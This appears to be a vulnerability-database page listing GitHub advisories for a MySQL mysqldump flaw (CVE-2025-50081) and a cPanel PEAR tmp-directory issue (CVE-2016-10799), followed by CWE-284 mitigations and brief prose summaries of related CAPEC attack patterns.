Vulnerability from github – Published: 2025-07-15 21:31 – Updated: 2025-07-15 21:31Vulnerability in the MySQL Client product of Oracle MySQL (component: Client: mysqldump). Supported versions that are affected are 8.0.0-8.0.42, 8.4.0-8.4.5 and 9.0.0-9.3.0. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Client. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of MySQL Client accessible data as well as unauthorized read access to a subset of MySQL Client accessible data. CVSS 3.1 Base Score 3.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N).
{
"affected": [],
"aliases": [
"CVE-2025-50081"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-15T20:15:43Z",
"severity": "LOW"
},
"details": "Vulnerability in the MySQL Client product of Oracle MySQL (component: Client: mysqldump). Supported versions that are affected are 8.0.0-8.0.42, 8.4.0-8.4.5 and 9.0.0-9.3.0. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Client. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of MySQL Client accessible data as well as unauthorized read access to a subset of MySQL Client accessible data. CVSS 3.1 Base Score 3.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N).",
"id": "GHSA-rm7f-f74m-5fjv",
"modified": "2025-07-15T21:31:41Z",
"published": "2025-07-15T21:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50081"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RM7R-CX7Q-CWQP
Vulnerability from github – Published: 2022-05-24 16:52 – Updated: 2024-04-04 01:34cPanel before 58.0.4 does not set the Pear tmp directory during a PHP installation (SEC-137).
{
"affected": [],
"aliases": [
"CVE-2016-10799"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-07T13:15:00Z",
"severity": "MODERATE"
},
"details": "cPanel before 58.0.4 does not set the Pear tmp directory during a PHP installation (SEC-137).",
"id": "GHSA-rm7r-cx7q-cwqp",
"modified": "2024-04-04T01:34:21Z",
"published": "2022-05-24T16:52:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10799"
},
{
"type": "WEB",
"url": "https://documentation.cpanel.net/display/CL/58+Change+Log"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.